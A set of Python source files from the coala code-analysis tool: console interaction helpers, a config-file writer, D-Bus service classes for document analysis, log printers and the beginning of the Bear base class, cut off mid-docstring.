    console_printer.print("\n" + os.path.relpath(sourcerange.file),
                          color=FILE_NAME_COLOR)

    if sourcerange.start.line is not None:
        if len(file_dict[sourcerange.file]) < sourcerange.end.line:
            console_printer.print(format_lines(lines=STR_LINE_DOESNT_EXIST,
                                               line_nr=sourcerange.end.line))
        else:
            print_lines(console_printer,
                        file_dict,
                        section,
                        sourcerange)


def join_names(values):
    """
    Produces a string by concatenating the items in ``values`` with
    commas, except the last element, which is concatenated with an "and".

    >>> join_names(["apples", "bananas", "oranges"])
    'apples, bananas and oranges'
    >>> join_names(["apples", "bananas"])
    'apples and bananas'
    >>> join_names(["apples"])
    'apples'

    :param values:
        A list of strings.
    :return:
        The concatenated string.
    """
    if len(values) > 1:
        return ", ".join(values[:-1]) + " and " + values[-1]
    else:
        return values[0]


def require_setting(setting_name, arr):
    """
    This method is responsible for prompting a user about a missing setting and
    taking its value as input from the user.

    :param setting_name: Name od the setting missing
    :param arr:          A list containing a description in [0] and the name
                         of the bears who need this setting in [1] and
                         following.
    """
    needed = join_names(arr[1:])

    # Don't use input, it can't deal with escapes!
    print(colored(STR_GET_VAL_FOR_SETTING.format(setting_name, arr[0], needed),
                  REQUIRED_SETTINGS_COLOR))
    return input()


def acquire_settings(log_printer, settings_names_dict):
    """
    This method prompts the user for the given settings.

    :param log_printer: Printer responsible for logging the messages.
                        This is needed to comply with the interface.
    :param settings:    A dictionary with the settings name as key and a list
                        containing a description in [0] and the name of the
                        bears who need this setting in [1] and following.

                        Example:

    ::

        {"UseTabs": ["describes whether tabs should be used instead of spaces",
                     "SpaceConsistencyBear",
                     "SomeOtherBear"]}

    :return:            A dictionary with the settings name as key and the
                        given value as value.
    """
    if not isinstance(settings_names_dict, dict):
        raise TypeError("The settings_names_dict parameter has to be a "
                        "dictionary.")

    result = {}
    for setting_name, arr in sorted(settings_names_dict.items(),
                                    key=lambda x: join_names(x[1][1:])):
        value = require_setting(setting_name, arr)
        result.update({setting_name: value} if value is not None else {})

    return result


def get_action_info(section, action, failed_actions):
    """
    Get all the required Settings for an action. It updates the section with
    the Settings.

    :param section:         The section the action corresponds to.
    :param action:          The action to get the info for.
    :param failed_actions:  A set of all actions that have failed. A failed
                            action remains in the list until it is successfully
                            executed.
    :return:                Action name and the updated section.
    """
    params = action.non_optional_params

    for param_name in params:
        if param_name not in section or action.name in failed_actions:
            question = format_lines(
                "Please enter a value for the parameter '{}' ({}): "
                .format(param_name, params[param_name][0]))
            section.append(Setting(param_name, input(question)))

    return action.name, section


def choose_action(console_printer, actions):
    """
    Presents the actions available to the user and takes as input the action
    the user wants to choose.

    :param console_printer: Object to print messages on the console.
    :param actions:         Actions available to the user.
    :return:                Return choice of action of user.
    """
    console_printer.print(format_lines(
        "The following actions are applicable to this result:"))

    while True:
        console_printer.print(format_lines(" 0: " +
                                           "Apply no further actions."))
        for i, action in enumerate(actions, 1):
            console_printer.print(format_lines("{:>2}: {}".format(
                i,
                action.desc)))

        try:
            line = format_lines("Please enter the number of the action "
                                "you want to execute (Ctrl-D to exit). ")
            choice = int(input(line))
            if 0 <= choice <= len(actions):
                return choice
        except ValueError:
            pass

        console_printer.print(format_lines("Please enter a valid number."))


def print_actions(console_printer, section, actions, failed_actions):
    """
    Prints the given actions and lets the user choose.

    :param console_printer: Object to print messages on the console.
    :param actions:         A list of FunctionMetadata objects.
    :param failed_actions:  A set of all actions that have failed. A failed
                            action remains in the list until it is
                            successfully executed.
    :return:                A tuple with the name member of the
                            FunctionMetadata object chosen by the user
                            and a Section containing at least all needed
                            values for the action. If the user did
                            choose to do nothing, return (None, None).
    """
    choice = choose_action(console_printer, actions)

    if choice == 0:
        return None, None

    return get_action_info(section, actions[choice - 1], failed_actions)


def ask_for_action_and_apply(log_printer,
                             console_printer,
                             section,
                             metadata_list,
                             action_dict,
                             failed_actions,
                             result,
                             file_diff_dict,
                             file_dict):
    """
    Asks the user for an action and applies it.

    :param log_printer:     Printer responsible for logging the messages.
    :param console_printer: Object to print messages on the console.
    :param section:         Currently active section.
    :param metadata_list:   Contains metadata for all the actions.
    :param action_dict:     Contains the action names as keys and their
                            references as values.
    :param failed_actions:  A set of all actions that have failed. A failed
                            action remains in the list until it is successfully
                            executed.
    :param result:          Result corresponding to the actions.
    :param file_diff_dict:  If it is an action which applies a patch, this
                            contains the diff of the patch to be applied to
                            the file with filename as keys.
    :param file_dict:       Dictionary with filename as keys and its contents
                            as values.
    :return:                Returns a boolean value. True will be returned, if
                            it makes sense that the user may choose to execute
                            another action, False otherwise.
    """
    action_name, section = print_actions(console_printer, section,
                                         metadata_list, failed_actions)
    if action_name is None:
        return False

    chosen_action = action_dict[action_name]
    try:
        chosen_action.apply_from_section(result,
                                         file_dict,
                                         file_diff_dict,
                                         section)
        console_printer.print(
            format_lines(chosen_action.SUCCESS_MESSAGE),
            color=SUCCESS_COLOR)
        failed_actions.discard(action_name)
    except Exception as exception:  # pylint: disable=broad-except
        log_printer.log_exception("Failed to execute the action "
                                  "{} with error: {}.".format(action_name,
                                                              exception),
                                  exception)
        failed_actions.add(action_name)
    return True


def show_enumeration(console_printer,
                     title,
                     items,
                     indentation,
                     no_items_text):
    """
    This function takes as input an iterable object (preferably a list or
    a dict). And prints in a stylized format. If the iterable object is
    empty, it prints a specific statement given by the user. An e.g :

    <indentation>Title:
    <indentation> * Item 1
    <indentation> * Item 2

    :param console_printer: Object to print messages on the console.
    :param title:           Title of the text to be printed
    :param items:           The iterable object.
    :param indentation:     Number of spaces to indent every line by.
    :param no_items_text:   Text printed when iterable object is empty.
    """
    if not items:
        console_printer.print(indentation + no_items_text)
    else:
        console_printer.print(indentation + title)
        if isinstance(items, dict):
            for key, value in items.items():
                console_printer.print(indentation + " * " + key + ": " +
                                      value[0])
        else:
            for item in items:
                console_printer.print(indentation + " * " + item)
    console_printer.print()


def show_bear(bear,
              sections,
              show_description,
              show_params,
              console_printer):
    """
    Display all information about a bear.

    :param bear:             The bear to be displayed.
    :param sections:         A list of sections to which the bear belongs.
    :param show_description: True if the main description should be shown.
    :param show_params:      True if the details should be shown.
    :param console_printer:  Object to print messages on the console.
    """
    console_printer.print(bear.name, color="blue")

    if not show_description and not show_params:
        return

    metadata = bear.get_metadata()

    if show_description:
        console_printer.print(
            "  " + metadata.desc.replace("\n", "\n  "))
        console_printer.print()  # Add a newline

    if show_params:
        show_enumeration(
            console_printer, "Supported languages:",
            bear.LANGUAGES,
            "  ",
            "The bear does not provide information about which languages "
            "it can analyze.")
        show_enumeration(console_printer,
                         "Used in:",
                         sections,
                         "  ",
                         "No sections.")
        show_enumeration(console_printer,
                         "Needed Settings:",
                         metadata.non_optional_params,
                         "  ",
                         "No needed settings.")
        show_enumeration(console_printer,
                         "Optional Settings:",
                         metadata.optional_params,
                         "  ",
                         "No optional settings.")
        show_enumeration(console_printer,
                         "Can detect:",
                         bear.can_detect,
                         "  ",
                         "This bear does not provide information about what "
                         "categories it can detect.")
        show_enumeration(console_printer,
                         "Can fix:",
                         bear.CAN_FIX,
                         "  ",
                         "This bear cannot fix issues or does not provide "
                         "information about what categories it can fix.")


def print_bears(bears,
                show_description,
                show_params,
                console_printer):
    """
    Presents all bears being used in a stylized manner.

    :param bears:            It's a dictionary with bears as keys and list of
                             sections containing those bears as values.
    :param show_description: True if the main description of the bears should
                             be shown.
    :param show_params:      True if the parameters and their description
                             should be shown.
    :param console_printer:  Object to print messages on the console.
    """
    if not bears:
        console_printer.print("No bears to show. Did you forget to install "
                              "the `coala-bears` package? Try `pip3 install "
                              "coala-bears`.")
        return

    for bear, sections in sorted(bears.items(),
                                 key=lambda bear_tuple: bear_tuple[0].name):
        show_bear(bear,
                  sections,
                  show_description,
                  show_params,
                  console_printer)


def show_bears(local_bears,
               global_bears,
               show_description,
               show_params,
               console_printer):
    """
    Extracts all the bears from each enabled section or the sections in the
    targets and passes a dictionary to the show_bears_callback method.

    :param local_bears:      Dictionary of local bears with section names
                             as keys and bear list as values.
    :param global_bears:     Dictionary of global bears with section
                             names as keys and bear list as values.
    :param show_description: True if the main description of the bears should
                             be shown.
    :param show_params:      True if the parameters and their description
                             should be shown.
    :param console_printer:  Object to print messages on the console.
    """
    bears = inverse_dicts(local_bears, global_bears)

    print_bears(bears, show_description, show_params, console_printer)


def show_language_bears_capabilities(language_bears_capabilities,
                                     console_printer):
    """
    Display what the bears can detect and fix.

    :param language_bears_capabilities:
        Dictionary with languages as keys and their bears' capabilities as
        values. The capabilities are stored in a tuple of two elements where the
        first one represents what the bears can detect, and the second one what
        they can fix.
    :param console_printer:
        Object to print messages on the console.
    """
    if not language_bears_capabilities:
        console_printer.print("There is no bear available for this language")
    else:
        for language, capabilities in language_bears_capabilities.items():
            if capabilities[0]:
                console_printer.print('coala can do the following for ', end='')
                console_printer.print(language.upper(), color="blue")
                console_printer.print("    Can detect only: ", end='')
                console_printer.print(
                    ', '.join(sorted(capabilities[0])), color=CAPABILITY_COLOR)
                if capabilities[1]:
                    console_printer.print("    Can fix        : ", end='')
                    console_printer.print(
                        ', '.join(sorted(capabilities[1])),
                        color=CAPABILITY_COLOR)
            else:
                console_printer.print('coala does not support ', color='red',
                                      end='')
                console_printer.print(language, color='blue')






import collections
import json
import re
from datetime import datetime

from coala_utils.decorators import get_public_members
from coalib.settings.FunctionMetadata import FunctionMetadata


def create_json_encoder(**kwargs):
    class JSONEncoder(json.JSONEncoder):

        @classmethod
        def _filter_params(cls, op, nop):
            params = set(op) | set(nop)
            return {key: kwargs[key] for key in set(kwargs) & (params)}

        def default(self, obj):
            if hasattr(obj, "__json__"):
                fdata = FunctionMetadata.from_function(obj.__json__)
                params = self._filter_params(
                    fdata.optional_params, fdata.non_optional_params)
                return obj.__json__(**params)
            elif isinstance(obj, collections.Iterable):
                return list(obj)
            elif isinstance(obj, datetime):
                return obj.isoformat()
            elif hasattr(obj, "__getitem__") and hasattr(obj, "keys"):
                return dict(obj)
            elif hasattr(obj, "__dict__"):
                return {member: getattr(obj, member)
                        for member in get_public_members(obj)}
            elif isinstance(obj, re._pattern_type):
                return obj.pattern

            return json.JSONEncoder.default(self, obj)
    return JSONEncoder






def fail_acquire_settings(log_printer, settings_names_dict):
    """
    This method throws an exception if any setting needs to be acquired.

    :param log_printer:     Printer responsible for logging the messages.
    :param settings:        A dictionary with the settings name as key and
                            a list containing a description in [0] and the
                            name of the bears who need this setting in [1]
                            and following.
    :raises AssertionError: If any setting is required.
    :raises TypeError:      If ``settings_names_dict`` is not a dictionary.
    """
    if not isinstance(settings_names_dict, dict):
        raise TypeError("The settings_names_dict parameter has to be a "
                        "dictionary.")

    required_settings = settings_names_dict.keys()
    if len(required_settings) != 0:
        msg = ("During execution, we found that some required "
               "settings were not provided. They are:\n")

        for name, setting in settings_names_dict.items():
            msg += "{} (from {}) - {}".format(name, setting[1], setting[0])

        log_printer.err(msg)
        raise AssertionError






from itertools import chain
from types import MappingProxyType

from pyprint.ClosableObject import ClosableObject

from coala_utils.string_processing import escape
from coalib.settings.Section import Section


class ConfWriter(ClosableObject):

    def __init__(self,
                 file_name,
                 key_value_delimiters=('=',),
                 comment_separators=('#',),
                 key_delimiters=(',', ' '),
                 section_name_surroundings=MappingProxyType({"[": "]"}),
                 section_override_delimiters=(".",),
                 unsavable_keys=("save",)):
        ClosableObject.__init__(self)
        self.__file_name = file_name
        self.__file = open(self.__file_name, "w")
        self.__key_value_delimiters = key_value_delimiters
        self.__comment_separators = comment_separators
        self.__key_delimiters = key_delimiters
        self.__section_name_surroundings = section_name_surroundings
        self.__section_override_delimiters = section_override_delimiters
        self.__unsavable_keys = unsavable_keys
        self.__wrote_newline = True
        self.__closed = False

        self.__key_delimiter = self.__key_delimiters[0]
        self.__key_value_delimiter = self.__key_value_delimiters[0]
        (self.__section_name_surrounding_beg,
         self.__section_name_surrounding_end) = (
            tuple(self.__section_name_surroundings.items())[0])

    def _close(self):
        self.__file.close()

    def write_sections(self, sections):
        assert not self.__closed

        self.__wrote_newline = True
        for section in sections:
            self.write_section(sections[section])

    def write_section(self, section):
        assert not self.__closed

        if not isinstance(section, Section):
            raise TypeError

        self.__write_section_name(section.name)

        keys = []
        val = None
        section_iter = section.__iter__(ignore_defaults=True)
        try:
            while True:
                setting = section[next(section_iter)]
                if (str(setting) == val and
                    not self.is_comment(setting.key) and
                    (
                        (setting.key not in self.__unsavable_keys) or
                        (not setting.from_cli))):
                    keys.append(setting.key)
                elif ((setting.key not in self.__unsavable_keys) or
                      (not setting.from_cli)):
                    self.__write_key_val(keys, val)
                    keys = [setting.key]
                    val = str(setting)
        except StopIteration:
            self.__write_key_val(keys, val)

    def __write_section_name(self, name):
        assert not self.__closed

        if not self.__wrote_newline:
            self.__file.write("\n")

        self.__file.write(self.__section_name_surrounding_beg + name +
                          self.__section_name_surrounding_end + '\n')
        self.__wrote_newline = False

    def __write_key_val(self, keys, val):
        assert not self.__closed

        if keys == []:
            return

        if all(self.is_comment(key) for key in keys):
            self.__file.write(val + "\n")
            self.__wrote_newline = val == ""
            return

        # Add escape characters as appropriate
        keys = [escape(key, chain(['\\'],
                                  self.__key_value_delimiters,
                                  self.__comment_separators,
                                  self.__key_delimiters,
                                  self.__section_override_delimiters))
                for key in keys]
        val = escape(val, chain(['\\'], self.__comment_separators))

        self.__file.write((self.__key_delimiter + " ").join(keys) + " " +
                          self.__key_value_delimiter + " " + val + "\n")
        self.__wrote_newline = False

    @staticmethod
    def is_comment(key):
        return key.lower().startswith("comment")












import os

import dbus.service  # Ignore PyImportSortBear

from coalib.misc.Exceptions import get_exitcode
from coalib.output.Interactions import fail_acquire_settings
from coalib.output.printers.ListLogPrinter import ListLogPrinter
from coalib.parsing.Globbing import fnmatch
from coalib.processes.Processing import execute_section
from coalib.results.HiddenResult import HiddenResult
from coalib.settings.ConfigurationGathering import (
    find_user_config, gather_configuration)
from coalib.settings.Setting import glob_list


class DbusDocument(dbus.service.Object):
    interface = "org.coala_analyzer.v1"

    def __init__(self, doc_id, path=""):
        """
        Creates a new dbus object-path for every document that a
        DbusApplication wants coala to analyze. It stores the information
        (path) of the document and the config file to use when analyzing the
        given document.

        :param doc_id: An id for the document.
        :param path:   The path to the document.
        """
        dbus.service.Object.__init__(self)

        self.config_file = ""
        self.path = path
        self.doc_id = doc_id

    @dbus.service.method(interface,
                         in_signature="",
                         out_signature="s")
    def FindConfigFile(self):
        """
        This method uses the path of the document to identify a user config
        file for it

        :return: The config file path
        """
        if self.path == "":
            return ""

        self.config_file = find_user_config(self.path)
        return self.config_file

    @dbus.service.method(interface,
                         in_signature="s",
                         out_signature="s")
    def SetConfigFile(self, config_file):
        """
        This method sets the config file to use. It has to be an absolute path,
        as otherwise it is difficult to find it.

        :param config_file: The path fo the config file to use. This has to be
                            an absolute path
        :return:            The config path which has been used
        """
        self.config_file = config_file
        return self.config_file

    @dbus.service.method(interface,
                         in_signature="",
                         out_signature="s")
    def GetConfigFile(self):
        """
        This method gets the config file which is being used

        :return: The config path which is being used
        """
        return self.config_file

    # Signature explanation:
    # s -> string
    # b -> boolean
    # i -> integer (32bit)
    # a -> array (list of tuple in python)
    # () -> structure (or tuple in python)
    # a{ss} -> dictionary with string keys and string values
    @dbus.service.method(interface,
                         in_signature="",
                         out_signature="(iaa{ss}a(sbaa{ss}))")
    def Analyze(self):
        """
        This method analyzes the document and sends back the result

        :return: The output is structure which has 3 items:
                 -  The exitcode from the analysis.
                 -  List of logs from the analysis.
                 -  List of information about each section that contains:

                    -  The name of the section.
                    -  Boolean which is true if all bears in the section
                       executed successfully.
                    -  List of results where each result is a string
                       dictionary which contains:
                       id, origin, message, file, line_nr, severity
        """
        retval = []
        if self.path == "" or self.config_file == "":
            return retval

        args = ["--config=" + self.config_file]

        log_printer = ListLogPrinter()
        exitcode = 0
        try:
            yielded_results = False
            (sections,
             local_bears,
             global_bears,
             targets) = gather_configuration(fail_acquire_settings,
                                             log_printer,
                                             arg_list=args)

            for section_name in sections:
                section = sections[section_name]

                if not section.is_enabled(targets):
                    continue

                if any([fnmatch(self.path, file_pattern)
                        for file_pattern in glob_list(section["files"])]):

                    section["files"].value = self.path
                    # TODO: Integrate with caching
                    section_result = execute_section(
                        section=section,
                        global_bear_list=global_bears[section_name],
                        local_bear_list=local_bears[section_name],
                        print_results=lambda *args: True,
                        cache=None,
                        log_printer=log_printer)
                    yielded_results = yielded_results or section_result[0]

                    retval.append(
                        DbusDocument.results_to_dbus_struct(section_result,
                                                            section_name))

            if yielded_results:
                exitcode = 1
        except BaseException as exception:  # pylint: disable=broad-except
            exitcode = exitcode or get_exitcode(exception, log_printer)

        logs = [log.to_string_dict() for log in log_printer.logs]
        return (exitcode, logs, retval)

    @staticmethod
    def results_to_dbus_struct(section_result, section_name):
        """
        Converts the result tuple given by execute_section() - which has
        dictionaries and classes inside it - into a purely array based format
        as dbus protocol only allows arrays.

        :param section_result: The result tuple given by execute_section()
                               for a section
        :param section_name:   The name of the section
        :return:               The result for a section in the form of an
                               array which is sendable through dbus.
        """
        results_for_section = []
        for i in range(1, 3):  # Loop over bear types - local, global

            # Loop over every file affected for local bears
            # and every bear for global bears
            for key, value in section_result[i].items():

                # Loop over every result for a file
                results_for_section += [result.to_string_dict()
                                        for result in filter(
                        lambda x: not isinstance(x, HiddenResult),
                        value)]

        return [section_name, section_result[0], results_for_section]

    @property
    def path(self):
        return self._path

    @path.setter
    def path(self, new_path):
        if new_path:
            new_path = os.path.abspath(os.path.expanduser(new_path))
        self._path = new_path






from distutils.core import Command
from distutils.errors import DistutilsOptionError

from coalib import BUS_NAME


class BuildDbusService(Command):
    """
    Add a ``build_dbus`` command  to your setup.py.
    To use this Command class add a command to call this class::

        # For setuptools
        setup(
              entry_points={
                "distutils.commands": [
                    "build_dbus = "
                    "coalib.misc.BuildDbusService:BuildDbusService"
                ]
              }
        )

        # For distutils
        from coalib.misc.BuildDbusService import BuildDbusService
        setup(
              cmdclass={'build_dbus': BuildDbusService}
        )

    You can then use the following setup command to produce a dbus service::

        $ python setup.py build_dbus
    """
    user_options = [('output=', 'O', 'output file')]

    def initialize_options(self):
        self.output = None

    def finalize_options(self):
        if self.output is None:
            raise DistutilsOptionError('\'output\' option is required')
        self.announce('Writing dbus service %s' % self.output)

    def run(self):
        dist = self.distribution
        dbus_service = ("[D-BUS Service]\n"
                        "Names=" + BUS_NAME + "\n"
                        "Exec=coala-dbus")

        with open(self.output, 'w') as f:
            f.write(dbus_service)






import os

import dbus.service  # Ignore PyImportSortBear

from coalib.output.dbus.DbusApp import DbusApp


class DbusServer(dbus.service.Object):
    interface = "org.coala_analyzer.v1"

    def __init__(self, bus, path, on_disconnected=None):
        """
        Creates a new DbusServer class which handles the dynamic creation and
        disposal of dbus object-paths for documents and also handles
        information about DbusApplication.

        :param bus:             The dbus bus to which to connect this object
                                path to.
        :param path:            The path in the dbus bus using which apps can
                                communicate.
        :param on_disconnected: This function will be called when the
                                DbusServer has no more applications connected
                                to it.
        """
        dbus.service.Object.__init__(self, bus, path)

        self.apps = {}
        self.__next_app_id = 0
        self.on_disconnected = on_disconnected

        bus.add_signal_receiver(self._on_name_lost,
                                signal_name='NameOwnerChanged',
                                dbus_interface=None,
                                path=None)

    @dbus.service.method(interface,
                         in_signature="s",
                         out_signature="o",
                         sender_keyword="sender")
    def CreateDocument(self, path, sender=None):
        """
        Creates a DbusDocument if it doesn't exist.

        :param path:   The path to the document.
        :param sender: The client who created the dbus request - this is used
                       as the DbusApp's name.
        :return:       a DbusDocument object.
        """
        app = self.get_or_create_app(sender)
        doc = self.get_or_create_document(app, path)
        return doc._object_path

    @dbus.service.method(interface,
                         in_signature="s",
                         out_signature="",
                         sender_keyword="sender")
    def DisposeDocument(self, path, sender=None):
        """
        Disposes a DbusDocument if it exists. Fails silently if it does not
        exist.

        :param path:   The path to the document.
        :param sender: The client who created the dbus request - this is used
                       as the DbusApp's name to search for the document in.
        """
        path = os.path.normpath(path)

        try:
            app = self.apps[sender]
        except KeyError:
            return

        self.dispose_document(app, path)

    def _on_name_lost(self, name, oldowner, newowner):
        if newowner != '':
            return

        self.dispose_app(oldowner)

    def _next_app_id(self):
        self.__next_app_id += 1
        return self.__next_app_id

    def create_app(self, appname):
        """
        Create a new dbus app with the given appname.

        :param appname: The name of the app to be created.
        :return:        a DbusApp object.
        """
        self.apps[appname] = DbusApp(self._next_app_id(), appname)
        return self.apps[appname]

    def get_or_create_app(self, appname):
        """
        Get the dbus app with the given appname. If there does not exist any
        app with the given name, a new app is created and returned.

        :param appname: The name of the app to be created.
        :return:        A DbusApp object.
        """
        try:
            return self.apps[appname]
        except KeyError:
            return self.create_app(appname)

    def dispose_app(self, appname):
        """
        Dispose of the app with the given name. It fails silently if the app
        does not exist. If there are no more apps connected to the server, it
        calls the on_disconnected callback.

        :param appname: The name of the app to dispose of.
        """
        try:
            self.apps.pop(appname)
            if len(self.apps) == 0 and self.on_disconnected:
                self.on_disconnected()
        except KeyError:
            pass

    def create_document(self, app, path):
        """
        Create a new dbus document.

        :param app:  The DbusApp the document is related to.
        :param path: The path to the document to be created.
        :return:     a DbusDocument object.
        """
        doc = app.create_document(path)
        objpath = (self._object_path + "/" + str(app.app_id) +
                   "/documents/" + str(doc.doc_id))
        doc.add_to_connection(self._connection, objpath)

        return doc

    def get_or_create_document(self, app, path):
        """
        Get the dbus document with the given path. If there does not exist any
        document under the DbusApp with the given path, a new document is
        created and returned.

        :param app:  The DbusApp the document is under.
        :param path: The path to the document to be created.
        :return:     A DbusApp object.
        """
        path = os.path.abspath(os.path.expanduser(path))
        try:
            doc = app.docs[path]
        except KeyError:
            doc = self.create_document(app, path)

        return doc

    def dispose_document(self, app, path):
        """
        Dispose of the document with the given path. It fails silently if the
        document does not exist. If there are no more documents in the app,
        the app is disposed.

        :param app:  The DbusApp the document is under.
        :param path: The path to the document.
        """
        doc = app.dispose_document(path)
        if doc != None:
            doc.remove_from_connection()
            if len(app.docs) == 0:
                self.dispose_app(app.name)






import os

from coalib.output.dbus.DbusDocument import DbusDocument


class DbusApp:
    """
    Stores data about each client that connects to the DbusServer
    """

    def __init__(self, app_id, name=""):
        self.app_id = app_id
        self.name = name

        self.docs = {}
        self.__next_doc_id = 0

    def _next_doc_id(self):
        self.__next_doc_id += 1
        return self.__next_doc_id

    def create_document(self, path):
        """
        Create a new dbus document.

        :param path:        The path to the document to be created.
        :param object_path: The dbus object path to use as the base for the
                            document object path.
        :param object_path: The connection to which the new ddocument object
                            path should be added.
        :return:            a DbusDocument object.
        """
        path = os.path.abspath(os.path.expanduser(path))
        doc = DbusDocument(doc_id=self._next_doc_id(), path=path)
        self.docs[path] = doc

        return doc

    def dispose_document(self, path):
        """
        Dispose of the document with the given path. It fails silently if the
        document does not exist. If there are no more documents in the app,
        the app is disposed.

        :param path: The path to the document.
        """
        path = os.path.abspath(os.path.expanduser(path))
        try:
            return self.docs.pop(path)
        except KeyError:
            return None






"""
This package holds dbus related objects. Dbus objects are used to communicate
between coala and other applications using dbus.

All dbus clients will first connect to the DbusServer, and request the
DbusServer to create documents which can be analyzed. The DbusServer internally
handles different clients separately so that it is possible for multiple
clients to connect simultaneously.
Once the client creates a document, the object path of the document is returned
and the client can use it to analyze the document (which happens in the
DbusDocument.
"""






from coalib.misc.Enum import enum

LOG_LEVEL = enum("DEBUG", "INFO", "WARNING", "ERROR")
LOG_LEVEL_COLORS = {LOG_LEVEL.ERROR: "red",
                    LOG_LEVEL.WARNING: "yellow",
                    LOG_LEVEL.INFO: "blue",
                    LOG_LEVEL.DEBUG: "green"}






"""
This package holds printer objects. Printer objects are general purpose and not
tied to coala.

If you need logging capabilities please take a look at the LogPrinter object
which adds logging capabilities "for free" if used as base class for any other
printer.
"""






import traceback

from pyprint.ColorPrinter import ColorPrinter

from coalib.output.printers.LOG_LEVEL import LOG_LEVEL, LOG_LEVEL_COLORS
from coalib.processes.communication.LogMessage import LogMessage


class LogPrinter:
    """
    The LogPrinter class allows to print log messages to an underlying Printer.

    This class is an adapter, means you can create a LogPrinter from every
    existing Printer instance.
    """

    def __init__(self,
                 printer,
                 log_level=LOG_LEVEL.INFO,
                 timestamp_format="%X"):
        """
        Creates a new log printer from an existing Printer.

        :param printer:          The underlying Printer where log messages
                                 shall be written to. If you inherit from
                                 LogPrinter, set it to self.
        :param log_level:        The minimum log level, everything below will
                                 not be logged.
        :param timestamp_format: The format string for the
                                 datetime.today().strftime(format) method.
        """
        self._printer = printer
        self.log_level = log_level
        self.timestamp_format = timestamp_format

    @property
    def printer(self):
        """
        Returns the underlying printer where logs are printed to.
        """
        return self._printer

    def _get_log_prefix(self, log_level, timestamp):
        datetime_string = timestamp.strftime(self.timestamp_format)

        if datetime_string != "":
            datetime_string = "[" + datetime_string + "]"

        return '[{}]{}'.format(LOG_LEVEL.reverse.get(log_level, "ERROR"),
                               datetime_string)

    def debug(self, *messages, delimiter=" ", timestamp=None, **kwargs):
        self.log_message(LogMessage(LOG_LEVEL.DEBUG,
                                    *messages,
                                    delimiter=delimiter,
                                    timestamp=timestamp),
                         **kwargs)

    def info(self, *messages, delimiter=" ", timestamp=None, **kwargs):
        self.log_message(LogMessage(LOG_LEVEL.INFO,
                                    *messages,
                                    delimiter=delimiter,
                                    timestamp=timestamp),
                         **kwargs)

    def warn(self, *messages, delimiter=" ", timestamp=None, **kwargs):
        self.log_message(LogMessage(LOG_LEVEL.WARNING,
                                    *messages,
                                    delimiter=delimiter,
                                    timestamp=timestamp),
                         **kwargs)

    def err(self, *messages, delimiter=" ", timestamp=None, **kwargs):
        self.log_message(LogMessage(LOG_LEVEL.ERROR,
                                    *messages,
                                    delimiter=delimiter,
                                    timestamp=timestamp),
                         **kwargs)

    def log(self, log_level, message, timestamp=None, **kwargs):
        self.log_message(LogMessage(log_level,
                                    message,
                                    timestamp=timestamp),
                         **kwargs)

    def log_exception(self,
                      message,
                      exception,
                      log_level=LOG_LEVEL.ERROR,
                      timestamp=None,
                      **kwargs):
        """
        If the log_level of the printer is greater than DEBUG, it prints
        only the message. If it is DEBUG or lower, it shows the message
        along with the traceback of the exception.

        :param message:   The message to print.
        :param exception: The exception to print.
        :param log_level: The log_level of this message (not used when
                          logging the traceback. Tracebacks always have
                          a level of DEBUG).
        :param timestamp: The time at which this log occured. Defaults to
                          the current time.
        :param kwargs:    Keyword arguments to be passed when logging the
                          message (not used when logging the traceback).
        """
        if not isinstance(exception, BaseException):
            raise TypeError("log_exception can only log derivatives of "
                            "BaseException.")

        traceback_str = "\n".join(
            traceback.format_exception(type(exception),
                                       exception,
                                       exception.__traceback__))

        self.log(log_level, message, timestamp=timestamp, **kwargs)
        self.log_message(
            LogMessage(LOG_LEVEL.DEBUG,
                       "Exception was:" + "\n" + traceback_str,
                       timestamp=timestamp),
            **kwargs)

    def log_message(self, log_message, **kwargs):
        if not isinstance(log_message, LogMessage):
            raise TypeError("log_message should be of type LogMessage.")

        if log_message.log_level < self.log_level:
            return

        self._print_log_message(
            self._get_log_prefix(log_message.log_level, log_message.timestamp),
            log_message,
            **kwargs)

    def _print_log_message(self, prefix, log_message, **kwargs):
        """
        Override this if you want to influence how the log message is printed.

        If the underlying printer is a ColorPrinter, then colored logging is
        used. You can turn it off in the underlying ColorPrinter if you want to
        print uncolored.

        :param prefix:      The prefix to print (as string).
        :param log_message: The LogMessage object to print.
        :param kwargs:      Any other keyword arguments.
        """
        if isinstance(self._printer, ColorPrinter):
            self.printer.print(prefix,
                               end=" ",
                               color=LOG_LEVEL_COLORS[log_message.log_level],
                               **kwargs)
            self.printer.print(log_message.message, **kwargs)
        else:
            self.printer.print(prefix, log_message.message, **kwargs)






from pyprint.Printer import Printer

from coalib.output.printers.LOG_LEVEL import LOG_LEVEL
from coalib.output.printers.LogPrinter import LogPrinter
from coalib.processes.communication.LogMessage import LogMessage


class ListLogPrinter(Printer, LogPrinter):
    """
    A ListLogPrinter is a log printer which collects all LogMessages to a list
    so that the logs can be used at a later time.
    """

    def __init__(self,
                 log_level=LOG_LEVEL.WARNING,
                 timestamp_format="%X"):
        Printer.__init__(self)
        LogPrinter.__init__(self, self, log_level, timestamp_format)

        self.logs = []

    def log_message(self, log_message, **kwargs):
        if not isinstance(log_message, LogMessage):
            raise TypeError("log_message should be of type LogMessage.")

        if log_message.log_level < self.log_level:
            return

        self.logs.append(log_message)

    def _print(self, output, **kwargs):
        self.info(output, **kwargs)












import traceback
from functools import partial
from os import makedirs
from os.path import join, abspath, exists
from shutil import copyfileobj
from urllib.request import urlopen

from appdirs import user_data_dir

from pyprint.Printer import Printer

from coala_utils.decorators import (enforce_signature, classproperty,
                                    get_public_members)

from coalib.bears.requirements.PackageRequirement import PackageRequirement
from coalib.bears.requirements.PipRequirement import PipRequirement
from coalib.output.printers.LogPrinter import LogPrinter
from coalib.results.Result import Result
from coalib.settings.FunctionMetadata import FunctionMetadata
from coalib.settings.Section import Section
from coalib.settings.ConfigurationGathering import get_config_directory


class Bear(Printer, LogPrinter):
    """
    A bear contains the actual subroutine that is responsible for checking
    source code for certain specifications. However it can actually do
    whatever it wants with the files it gets. If you are missing some Result
    type, feel free to contact us and/or help us extending the coalib.

    This is the base class for every bear. If you want to write an bear, you
    will probably want to look at the GlobalBear and LocalBear classes that
    inherit from this class. In any case you'll want to overwrite at least the
    run method. You can send debug/warning/error messages through the
    debug(), warn(), err() functions. These will send the
    appropriate messages so that they are outputted. Be aware that if you use
    err(), you are expected to also terminate the bear run-through
    immediately.

    If you need some setup or teardown for your bear, feel free to overwrite
    the set_up() and tear_down() functions. They will be invoked
    before/after every run invocation.

    Settings are available at all times through self.section.

    To indicate which languages your bear supports, just give it the
    ``LANGUAGES`` value which should be a set of string(s):

    >>> class SomeBear(Bear):
